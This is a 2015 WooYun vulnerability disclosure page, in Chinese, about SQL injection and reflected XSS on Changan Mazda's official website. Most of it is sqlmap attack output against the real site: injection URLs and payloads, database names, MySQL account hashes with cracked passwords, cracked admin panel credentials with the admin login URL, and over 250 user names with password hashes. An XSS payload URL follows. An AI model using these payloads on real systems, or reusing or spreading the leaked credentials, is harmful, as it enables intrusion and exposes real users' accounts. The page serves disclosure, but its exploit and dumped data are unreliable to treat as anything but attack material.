当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156874

漏洞标题:长安马自达汽车有限公司官网多处SQL注入漏洞&反射型xss

相关厂商:长安马自达汽车有限公司

漏洞作者: 路人甲

提交时间:2015-11-30 12:19

修复时间:2015-12-05 12:20

公开时间:2015-12-05 12:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-30: 细节已通知厂商并且等待厂商处理中
2015-12-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

长安马自达汽车有限公司官网多处SQL注入漏洞&反射型xss,泄露大量用户信息

详细说明:

注入点:

http://www.changan-mazda.com.cn//market/2015axelaanniversary/index/info/11/%5c
http://www.changan-mazda.com.cn:80//excellenceplan/position?keyword=&type=%5c
http://www.changan-mazda.com.cn:80//news/index?page=2&year=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'馃挬
http://www.changan-mazda.com.cn:80//news/index?page=2&year=1


其中三处可通过%5c暴库,泄露绝对路径:

QQ截图20141205232147.jpg


通过sqlmap注入测试:

GET parameter 'year' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: year (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: page=2&year=1 RLIKE (SELECT (CASE WHEN (3731=3731) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: page=2&year=1 AND EXTRACTVALUE(4008,CONCAT(0x5c,0x7178787671,(SELECT (ELT(4008=4008,1))),0x717a6a6a71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: page=2&year=1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 27 columns
Payload: page=2&year=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178787671,0x66684b52744d426a706b,0x717a6a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[00:36:05] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10, Apache 2.4.1
back-end DBMS: MySQL 5.1
[00:36:05] [INFO] fetching database names
available databases [22]:
[*] aaa
[*] car
[*] car_bak
[*] changanmzd
[*] changanmzd2015
[*] chetie
[*] ct
[*] cx
[*] cx5
[*] cx5_2015
[*] cx5_818
[*] cx5wrzy
[*] information_schema
[*] market2015
[*] market_babaquna
[*] mazda
[*] mazda_yumatravel
[*] mazida
[*] mysql
[*] performance_schema
[*] test
[*] yumazu
[00:36:06] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 210 times, 502 (Bad Gateway) - 2 times
[00:36:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.changan-mazda.com.cn'
[*] shutting down at 00:36:06
mysql数据库用户和密码:大部分可解密:

QQ截图20141206110941.jpg


database management system users password hashes:
[*] bfs2012 [1]:
password hash: *78FFEF56689F9C577EE5025EA17A293007983EAD
clear-text password: bfs2012
[*] camzdmarket [1]:
password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053
[*] camzdmarket1 [1]:
password hash: *2F57BDDC6D9700346C16ACBCFD1D77BAFD121926
[*] changanmzd [1]:
password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0
clear-text password: !2#4%6
[*] changxm_user1 [1]:
password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053
[*] chetie [1]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB
[*] chetie1 [1]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB
[*] chezhan [1]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB
[*] chunsheng [1]:
password hash: *138EDC6142EB42C6F88BED17EEC7B991D6FF6D7F
[*] cig [1]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB
[*] cx5_818 [1]:
password hash: *532B9AA306B3A7831554458D94670EC3157E69C1
[*] cx5admin [1]:
password hash: *AB585695001DA3EDBEEBA1E2C7AEC0B3747B9347
[*] cx5wrzy [1]:
password hash: *308192ABBFC0B0ABF7D2954D66E60F605E5F7A77
[*] mazda [1]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB
[*] mazda2014 [1]:
password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3
[*] mhgj2015 [1]:
password hash: *6691484EA6B50DDDE1926A220DA01FA9E575C18A
clear-text password: abc123
[*] mzd2014 [1]:
password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3
[*] newmzd [2]:
password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0
clear-text password: !2#4%6
password hash: NULL
[*] newmzd2015 [1]:
password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0
clear-text password: !2#4%6
[*] root [4]:
password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB 1234.com
password hash: *23AE809DDACAF96AF0FD78ED04B6A265E05AA257
clear-text password: 123
password hash: *25817BCE9A997710F8A129AF52153A903AB9254F
password hash: NULL
[*] yumazu [1]:
password hash: *41FAE6125B56B75C531244B86939019D1F7F6E0D
Database: changanmzd2015
[64 tables]
+--------------------------+
| cx5_dealer |
| cx5_testdrive |
| cx5_user |
| gohome_user |
| ma_1year_news |
| ma_accessory |
| ma_accessory_children |
| ma_area |
| ma_assistant_charge |
| ma_assistant_remind |
| ma_boutique |
| ma_boutique_children |
| ma_brand |
| ma_brand_mileage |
| ma_brand_photo |
| ma_category |
| ma_check |
| ma_cities |
| ma_complain |
| ma_dealer |
| ma_dealer_event |
| ma_dealer_join_event |
| ma_dealer_news |
| ma_dealer_price |
| ma_dict |
| ma_download |
| ma_email |
| ma_event |
| ma_experience |
| ma_facade360 |
| ma_functions |
| ma_info |
| ma_infotype |
| ma_jobs |
| ma_leads |
| ma_maintain |
| ma_modle_param_all |
| ma_modles |
| ma_modles_bak20140929 |
| ma_modles_param |
| ma_modles_param_20140929 |
| ma_modles_param_all |
| ma_modles_photo |
| ma_onfile_customer |
| ma_poster |
| ma_poster_space |
| ma_provinces |
| ma_resumes |
| ma_retrpasstmp |
| ma_sms |
| ma_subscribe |
| ma_subscribe_20140419 |
| ma_sysuser |
| ma_tallybook |
| ma_users |
| orderdata_admins |
| orderdata_city |
| orderdata_dealers |
| orderdata_dmacity |
| orderdata_drive |
| orderdata_loginlog |
| orderdata_province |
| orderdata_roles |
| orderdata_setting |
+--------------------------+
Database: changanmzd2015
Table: ma_sysuser
[8 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| jurisdiction | varchar(500) |
| lastip | varchar(20) |
| lasttime | datetime |
| logins | int(11) |
| realname | varchar(20) |
| sysuserid | int(11) |
| sysusername | varchar(50) |
| sysuserpwd | varchar(100) |
+--------------+--------------+
Database: changanmzd2015
Table: ma_sysuser
[2 entries]
+-------------+----------------------------------+
| sysusername | sysuserpwd |
+-------------+----------------------------------+
| admin | 2a1b7487460eab9e3a655968d87e703f | 19850612
| ccc | 9db06bcff9248837f86d1a6bcf41c9e7 | 111111
+-------------+----------------------------------+
Database: changanmzd2015
Table: ma_users
[21 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| address | varchar(200) |
| assistantid | int(11) |
| birthday | date |
| city | varchar(10) |
| email | varchar(100) |
| gender | tinyint(1) |
| intentionmodles | int(11) |
| isaccpetinfo | tinyint(1) |
| lastlogintime | datetime |
| loginnum | int(11) |
| mobile | varchar(20) |
| postcode | varchar(10) |
| province | varchar(10) |
| realname | varchar(20) |
| regfrom | varchar(20) |
| regtime | datetime |
| status | tinyint(1) |
| updatetime | datetime |
| userid | int(11) |
| username | varchar(100) |
| userpwd | varchar(64) |
+-----------------+--------------+
Database: changanmzd2015
Table: ma_users
[1157 entries]
一千多位用户详细信息:
+-----------------+----------------------------------+
| username | userpwd |
+-----------------+----------------------------------+
[16:49:09] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 大亮 | bcea40d5027d70bf67134386e3db6791 |
| M18064 | bcea40d5027d70bf67134386e3db6791 |
| peterbjh | bcea40d5027d70bf67134386e3db6791 |
| abc8000 | bcea40d5027d70bf67134386e3db6791 |
| a105174744 | bcea40d5027d70bf67134386e3db6791 |
| duxiaogen | bcea40d5027d70bf67134386e3db6791 |
| wanlovep | bcea40d5027d70bf67134386e3db6791 |
| flashwjj | bcea40d5027d70bf67134386e3db6791 |
| hedong825 | bcea40d5027d70bf67134386e3db6791 |
| jinge0109 | bcea40d5027d70bf67134386e3db6791 |
| 情在草原 | bcea40d5027d70bf67134386e3db6791 |
| badpeter88 | bcea40d5027d70bf67134386e3db6791 |
| makailun1016 | bcea40d5027d70bf67134386e3db6791 |
| spookywolf | bcea40d5027d70bf67134386e3db6791 |
| fan19810627 | bcea40d5027d70bf67134386e3db6791 |
| 自来卷0901 | bcea40d5027d70bf67134386e3db6791 |
| 3xyjs | d59eb828e57156014adc4ce1ec3a6167 |
| henrycyylzm | a8ac29e156acb494c89b07a89aa59dc9 |
| littlewgh | e8496bf9a261441fd984c3a96decc8c4 |
| gxf900327 | 072c0470e28d8634c2883fe4885ce6e6 |
| 在水一方 | 0f8fad117740dc78cb2e834068b94fab |
| xiaoheng0409 | 1f64183d9d5f9270be75c43bebf9ef54 |
| 赖皮肖 | ed95a9a2415358fa98f9b6ab4e9aa328 |
| A605495134A | 1ff69e5d4428ad900f119a31c9a12737 |
| 余江居客 | 8224bb597bc3a089ac862408766b4c8f |
| wcj1216 | 14e1b600b1fd579f47433b88e8d85291 |
| cy6cy6 | 9db06bcff9248837f86d1a6bcf41c9e7 |
| 张雪山 | 263afb891026643d49e32636d9247805 |
| yac521480 | 2080d15d08d665a7ea0d9e581465dd67 |
| linlinming1020 | 6482edc31ca131f6b418bbfbc2481930 |
| jsnjhql | 6d00e6774997c20c84973e457b8b0554 |
| pilian112 | cbb8053162df1f409937a479f586bd6f |
| lyhvvcf | c3de5ff972ab9389157ef43f63a99d62 |
| 夜汐魂 | 25c69c4e3796c55f65de1048a4ab3d76 |
| cheka214 | 11cdbe38c8ffbc685b07fb3156ed4b18 |
| 孙树会 | 4a6b0f2a594c1e38f76f723f5a6d972b |
| 990991670 | c2c5e486a7dc9588d8628c1b2e7aa246 |
| 一脚泥 | b5dbe36cedbcc289bbe5b44fdd15e796 |
| 河南那郑州 | 10b073232ff83a735e1ce9c287eaf788 |
| CX51T590 | ae476544d4e65b243cd863c31fba47c5 |
| jiangang5 | a146e7c6da13bab7105e8eb9ccf4123d |
| 535433348ren | d1fb52546ae97441a0d961fad423c456 |
| wf4569249 | 26a347035ab435cea8ac814e5ccd083d |
| caiite | 20b0a222c3472ad33e72c43ff1a2f484 |
| zhongqiuting | 87267cb34dee789caba61f79dc27fc41 |
| jiaquan86 | d8e06c92666704affb9966774cc986ca |
| yand1984 | 8a2e42e99f7f2cb9999c99d2ac05de7b |
| 和先生 | 1fe8780772e35e4f73e0481eb6c9d241 |
| doneyboyyy | 007773a36e77595cb7f63473920e36ce |
| goodtimelsr | 3bc8ea1524c3dcd7a07035b1b2de5cfe |
| caoying611 | b0ed8780da1a5819a56c91ce65e7ec1f |
| 7261128 | c3503665bc1c5236ac87e0600d018e02 |
| zhuhuan2545 | 867d5f090d16e1bdd08504a16b13d684 |
| chxw1982 | deff180bd7ffd982f27bcf68a2c57dc0 |
| 苏小明 | f0884c0533b5d9fb0d317cc3019320de |
| q305977424 | 89c345e9257c5bacb41b128471989e76 |
| 胜王2004 | 0bd00010656d173019d8dbe6214d07fa |
| gangkk | 476499bb3b4fd5772fd4511e2a774df1 |
| Zhong1800 | e04f92521fcfc07d2c2c61257f242931 |
| w_bbg | db5e4394ee7ba8b75b84a9438cdc9c69 |
| Monozm | 8cc80ddde6b69c01defcbb7b5d4ce2cf |
| 郭焱 | 0433b22c25606a4343de7bc5bd0f8bc0 |
| pl520118 | dbfc1922975270b3fc1d35fc67c6c1a3 |
| June-MING | 8669ef246023f50913f405ca719daeeb |
| ghy2520 | eb89946f3ad8d323c346fd74a12a512f |
| woxingwosu | 54a3a78aca0c5dce5aeb73a087e6bd8d |
| 翰思睿 | 68ea081caca76fa648829bc6eba730cb |
| yiyi123456 | 14e1b600b1fd579f47433b88e8d85291 |
| jjzhang321 | 9fca0c6e42b0150caebcc6db12a6945a |
| 56103 | 24fd50c7ff4c087cc0967dfb39b0ba65 |
| mb2824230 | 1fc5cfbf3ceb3bfef8bdf9cc1ebe9488 |
| 程大实 | 78fdd5fbfe26f7ada6621f5ff3084cb3 |
| lishen920 | f0ad96fd51243c7490a4bdde5cd5a401 |
| bodhi17 | 775de54a5168e015f540af6be5175181 |
| ljg9866 | db2c880a8ce835645c84b834f8d702de |
| ljg9866321 | db2c880a8ce835645c84b834f8d702de |
| 564500GGM | 4fbd1e2b9d517c11aa2273efc7425199 |
| nxlpja | d28ed931cd171e3e384f83dd08e7a167 |
| zens | b21a3c0ae0fd797a636d465339c904b2 |
| 3621055 | aa7fa1ba3e975a61b47a9a5533e97ced |
| 超哥8133 | 328f2888b655cd39c868d27b882c9611 |
| 约尔开什 | e6173064eddc39c38ce44527eca2f59f |
| 峰BMW | 873c619671072c4dfa341f10c9c7373d |
| bigdog0714 | 9209804669240a0a87dd9625b25a4009 |
| 夏亚军 | 655f67c8504447a9a427aeebf2bbfd33 |
| taok | 4f2f2771b5a0961186d8905245710576 |
| 662798a | b86e472c557fa2cce49f4d098f5ee84e |
| kof2008 | a7a293774df92de6d431ee69a8913cca |
| lianglei | 2f35201ced19cf53c392da3287044491 |
| 632868937 | 7bb8e1be9f1974c40b5ac61f5a5a1aa1 |
| chouchou | 536c1184b07951ad1584c0760b14392a |
| rice | 2ad2b0736463b49dda1869c915c1f3c4 |
| SIPINGZHOU88 | 0992bd6bcbd2037eb22c1b81f71fbbaf |
| LIQINGFENG | b50ba3fca9ea8ce5f5ca5c73b192018d |
| dhj77_2007 | 6a61f18b40f422c66a11126aee708a14 |
| yulong123 | 565ff3b1e6e398232082d9f4f76d142c |
| yaoguoqiang888 | e38a3cc21e78a85ee721cb848533ef34 |
| 吉祥 | bdb854f256098cd3f2af2bc5a0a04bd7 |
| czmaomao | 9422ebfeba11abb4db77217457582c9d |
| zhuwangrong | cc1a54d85f44b5ed94c6c2935b851d36 |
| sams | 5945f6ec1b386fb5f6b8c5b4444e0f39 |
| 周瑶 | 0d6a93854a96fa7e995f34f4a011b6e0 |
| lywx1226 | b34a8f1134bf15032744c8a4d20c279a |
| 陈前驰 | e9c899fb1ca3c3973205e891514fbe35 |
| hhmnuaa | fb2e71cb8e28b07f83a6c99149cca5cb |
| temp991 | d05435584d8c39fe09f8889e7f80a941 |
| 牧精绒羊绒 | 004fff65590a1742e5d43a07a21fa8b1 |
| kfcisguy | 09e4fddb01380a369e7fa7b50c2f75d1 |
| zc08223353 | 6d9809d4e8f67f118463d4801944493c |
| ezaile | a50677822c6ed1f14b338d57be4d28ce |
| kaneyet | 5f721d551447fceacf092e5c3cb3ca5d |
| wwygrm2000 | 5350a7154ee4c7bd6eb2e82c4182ea36 |
| 一叶飘零 | 3ae29f63a20c5cd74f2a295461a2a891 |
| daniulemon | 7373682357ee2cc2aa78fd897a55f9c4 |
| zs200500760 | ea0172c5bab1249cdb42b993a912d2b5 |
| q7433573 | b8ce23963e977eb2eec05fcf0567f6a9 |
| 15901810216 | 75bacf95f12fc51587a7357ecb730cc8 |
| @江湖寂寞 | 9e54671f2842092bb4c56afe32e839c2 |
| ys2572092 | 1635ffb91fa3fd2832018984920b6016 |
| chill | c4c2ed53bf31745a95bcc0f97d39bf1a |
| 陈梦 | 2cb02981e6f336b7e3c42bb0bc32a29b |
| bnihao888 | a5e9c27a818c04868740a36203810716 |
| andy_an | 95a0b9cb2c928336528bcdad17b163a3 |
| longyy8888 | 16379d13c6334f39ae6fb5b405978034 |
| lxyang | 39a006632313135e70efa1d9ade9426a |
| lh7374520 | 94631ed51f49fa6a4801f451acd622df |
| shuaibi123456 | 5dd1f375562e765698e823566254e251 |
| 沐凭兮 | 1c595b96ea24095ecd01402c6eeac64b |
| zhangleiever | 88d94c426fab2a46a7f878a31435b833 |
| ryanzhao | 47e56ca69dcda3af0b6791fe0bc9cc8f |
| qwe11223 | 6f6880cf46f51dd77d974651ddbf9d9b |
| xyhfun | 47a52bb70e2f67a01a86308763e705bd |
| yangyu0541 | 156ed93e4a2f328c1f1857e7a0f87dd0 |
| cf_ygy | 9cee5a5dad9dc326a7a5a5ac1910d361 |
| 季长伟 | 7af9dc195f6e209a0df8c1e4b7558c76 |
| 一颗在路上的心 | d4ebfefc9254f0ceae174858cc7ecc16 |
| 蓝色诳人 | 0c56764e2aa99c05db76e127bd43cb36 |
| 马自达897100 | f946c449c7a773863227a5c420a03967 |
| ct100CT | e821f87dde0533bf6933551795fd1f7a |
| 陈世国 | 493af98b6486c29dee861df7ab7b09f6 |
| zhuyonggang315 | 76dccdbc8855c4efa678474ce5c896d8 |
| 锡钧先生 | fc5f2b1b85571a7063ec76b3494e42c3 |
| houy1210 | 927bb44685b9768da84e72bd365d8d1e |
| 小马奔腾 | 810d570724d22c8ee521c3976f339707 |
| 调皮的小晨晨 | 1624964af6e2b0a58de7a8b5af91024f |
| 冰川2003 | 0d9b411ac71fd7ff5c8917130dea05ae |
| laughingsakula | bd2c5938db3d790afa3959f1fc16eac3 |
| yytian | 17aa322f89cf827156a5e037513ee249 |
| qhjdxm | 26db92652e0cc6b93c5a8c2face2acb9 |
| wuhhanxiao | 2b9f931583e9d2ca36ffd60267660f4e |
| 郭文凡 | c6b1280cca4f750b616e9e5087904b39 |
| viplcx | 547c3f3088b97133695438224080c896 |
| bhlc | d7b2e1e00c702af1bea5854f7d9817af |
| andyyu1300 | a3bee12d7e7f7f353e67d2b21a299848 |
| 小豆苗 | 45b6612b16da4cd40f21bbfcd62e3cfd |
| 13502720353 | 63cd370bd3e4d1123354851d6503ba66 |
| vipkulala | db7dbbc3298d3a7ecd1561eaf0689b47 |
| 137776713 | dfd4bdd5e0bcbe14b500b3be0c06f1d7 |
| pengyou886 | cb6f4dd1f073a0a6dadfe7aae58bcb9c |
| zacharysu | e44610bb9d895156b0393ef011e945b0 |
| ak1031 | d6f21094d0847987b57e39f579ff6625 |
| suixuguang | e2a8042c077d9da296c8e4cf5443f9c2 |
| auto | 146fae7c2728692704424ca1b17fbe2d |
| lsguoke | 8b3a05e60517ddb36577b4e813eb8122 |
| 天书 | 93f2cc2edaf8eba36ba12e845ce369d9 |
| 平平然 | 11a1220872d2782e8afa27ff8349d0e2 |
| 刘易敏 | 550e1bafe077ff0b0b67f4e32f29d751 |
| dwbf | 9e9a6490107b94cf0c22c2f0444c720c |
| kyo009 | 223a12cd7d073a06c0a78212bc8bacf3 |
| glw730926 | ca614f50f63c0edb6a09c67db18b7780 |
| cyc920130 | f3278083dfe97636f9bb17b64441ecda |
| bbbingi | f3a1da9893e70a231996fd16016b8978 |
| 450978708 | d7b2e1e00c702af1bea5854f7d9817af |
| 450485393 | 06dda02fa444d3dd4dd5ebbbc60ade87 |
| Wayne | 8e484998f9340e2dad5221a20d37977b |
| 钱子敬 | e37a167e0e029334ef5c59716c69bf8b |
| mazd20611 | adc582d8175225514141f5442bed155c |
| yzyxj | d82117d303569957dc338d1ab2980be3 |
| kidpudding | a2af48feba541a1cd9d076b74d416848 |
| 小白昂 | 8174187f6455a83033fb518c96b8391d |
| hb0702 | 0534b9335ec73e14abca0f7acc4f1ccc |
| 258730239 | e63711e4d70e1e75956d8d2e0914331b |
| 李江伟 | d5b07693dc59abb276ade1b6ec54d007 |
| lfonline | 14e1b600b1fd579f47433b88e8d85291 |
| xuopenlx | 6bbd63a6e3ae9872e462f9227e909e75 |
| JarsunCrow | 2827d94ceff6e33c89e9449d669feae2 |
| cqx218 | 7b37fbdcb4dedb18220ba6b362155022 |
| 84558603qq | 359cd4f583f7526a6f7ad343f032c5b6 |
| leien | 6a87e6ee7822ec9fe343362e9b7354eb |
| 18974868180 | c0531365b72278cacb70096ad7162019 |
| 跃马扬鞭 | 1ee5160fa12dcdb52e32b4901b8af388 |
| xzxlxxq | 5da877db5dcc3ba79faa6e21a0a88868 |
| eric55555 | c6dfac086b3476749165519deb551616 |
| yuguojun1984 | 67d490255accc377318bcd5fb9d33d76 |
| 后情人 | f0f9017114663006f62861d1e1cfd90c |
| 奔跑的蚂蚁 | 2b477f813f0032a686a1d64c5068a549 |
| 270052758 | 37012bf7f0f844800304e5408febb082 |
| Tsim | bc3e59fc0883b3171931a635c500f5b4 |
| 317730627 | 5893aafbdc2a5a1fdbbee988d5ed0905 |
| romariniho | cc107249adde716b7bbb54011da6ce0b |
| MZD02015 | 9148359df2cdea5b282784c2b01cfc63 |
| 徐爽 | 3f6e88f52ac4215871685f70cb25a271 |
| panchenggong123 | e2dd5465023e7150dc881304f522a5c7 |
| caoyifeng2015 | d6eb64735ab1e14ed48b2feca42368e2 |
| cs-5 | 14e1b600b1fd579f47433b88e8d85291 |
| luoyuangen | 04283ec0da9a953c485d2a071e6189c1 |
| 行车电脑 | 4af03e2ebc8e577c11609af5d0cd7fa9 |
| zephyrw | 1f801dbcd97d3c71ff6b97735f4524e2 |
| schycpf | 782dbda62ea12ad8fe3b3cf8ebd832d4 |
| 余弦 | 0fe2063de125543a5b9b090590f1e8a5 |
| horse669 | 98951f4bace5004e19d45982bd07ea4e |
| shaoroom | 9be9bb5087a29465a48e31d1de3b9d1a |
| jqb123jqb789 | f7013a1d2253da9b4108a5fe192789e7 |
| 酷爱阳光 | 3249f4a2e23a56c85836974e54b5f1dc |
| efcyy | 579972e3d6b7a1f652ba63a0eb1602d7 |
| 湘南乃风 | 08cce8d53002f7592771196c8d65aa89 |
| 850064623 | e1f9b75db51da1ae4231a2b075edaaa8 |
| zhouping629 | 6824a788b45ffd5af4932fe11fef492c |
| luoyuqilyq | f16ea15bd0ac2aa4dd8a9bfe2be12b7b |
| 色金丰蓝 | c5cba7bbc464cceef3e6d2645ebb0111 |
| limit | ad3705b1ffa71d2e654eb562b422b270 |
| lianss | 6c9605c0faef7aea3c1ab2e0228ef856 |
| fhh602 | 4a91d1c43ff1614bd53c98105f52a5b3 |
| M18033 | 688d8bde8623fd4f77b72d88b84c2b46 |
| materal | 2b4110f2005103ab85b75ad752a517c3 |
| sxy2023645 | be148ff51813cf75706a0875bb47d174 |
| 孙恺 | 2c27dbb531dd42c95446f84fdd964fcd |
| kli22 | 161614378ce997021253a7d784d3f757 |
| andyma760 | 9f63c2ec4e8c822e698937314be3cbdd |
| 奋斗6677 | 09853ac4570a8af733733f04efb1df4b |
| 天龙山5 | dd7e55e84bccd40508588074597596fc |
| df5130000 | 6de43ee1a1ee05e4dfbf5704094e9187 |
| liu419 | 868a9be50c5d9ff12dedd6a12021be33 |
| 肥波跑得快 | 621d7dbc609c1ba1a4087d9991ee06e3 |
| luomin21cn | 6031f7d807d6e792d89207d1298f4049 |
| hanjincai | 63ee451939ed580ef3c4b6f0109d1fd0 |
| Q2631EH936 | cf48284e94bae826aa7786c241758c6b |
| vicleo | 469698270091e7ddbd8e143c799ecf3f |
| LANSEYU76 | fa989846db2b56de8f2a421ae30e5b5b |
| 钟文巨 | 1ec57dedc06436f0e0f7e465b42e1028 |
| llove1111 | 1497bc7a9844923ecdd781fe881265e0 |
| 39279732 | d73629f244b1d9d6d49744cc2a363971 |
| zhgfhfh | d88681857a7dc0d5ac55b74ebea9dc1e |
| petersucre | 51f34b384cdcbf0f7aedb878feecbc5d |
| 奔跑的鸵鸟 | 70c25a67121b8899479ea2b3e978818f |
| realadam | 55ff0e4c8fb5e66a05e05625022cf8df |
| raox@163.com | 6a9cfd8a908ae10f5d99a4a654ff6b7c |
| pspcn | bd0b83d2299c1017423709f79d1e81aa |
| carlandersen | a1b938a0825f644a46b7c5222379ce0c |
| xsz60524 | cad214be17c05f1fc5dace8e42dc30ca |
| f1632063 | 9e351309e155b88d5d45c3ea6ec9073a |
| 姜有鱼 | d93cda975f5488d00e460101f4c6414d |
| karatlee | 916a9a0ce28423634150c4e065144ccc |
| ac626 | 75525c0c12f5a56cfb1c930f16b4dc07 |
| 黄山光头强1983 | fc85c7fcdb4a179ac52f7cbf0b4356a3 |
| lgmqw | d52636aee278821353c7dfc2e3c49e03 |
+-----------------+----------------------------------+
[16:49:10] [INFO] table 'changanmzd2015.ma_users' dumped to CSV file '/root/.sqlmap/output/www.changan-mazda.com.cn/dump/changanmzd2015/ma_users.csv'
[16:49:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.changan-mazda.com.cn'
[*] shutting down at 16:49:10
Database: changanmzd2015
Table: orderdata_admins
[9 columns]
+---------------+-------------+
| Column | Type |
+---------------+-------------+
| admintype | smallint(1) |
| createtime | datetime |
| id | int(8) |
| lastloginip | varchar(25) |
| lastlogintime | datetime |
| password | varchar(32) |
| roleid | int(10) |
| updatetime | datetime |
| username | varchar(30) |
+---------------+-------------+
获取后台用户和密码:
Database: changanmzd2015
Table: orderdata_admins
[3 entries]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | 698d51a19d8a121ce581499d7b701668 (111) |
| apiuser | e10adc3949ba59abbe56e057f20f883e (123456) |
| test | 96e79218965eb72c92a549dd5a330112 (111111) |
+----------+-------------------------------------------+


后台地址:http://www.changan-mazda.com.cn/index.php/admin/Auth
成功登陆:

QQ截图20141206170353.jpg


反射型xss:http://www.changan-mazda.com.cn:80//excellenceplan/resume?resume=%25E6%2580%25BB%25E8%25A3%2585%25E8%25B4%25A8%25E9%2587%258F%25E5%25B7%25A5%25E7%25A8%258B%25E5%25B8%2588'%22()%26%25<acx><ScRiPt%20>prompt(910224)</ScRiPt>

QQ截图20141205234108.jpg

漏洞证明:

见详情

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-05 12:20

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无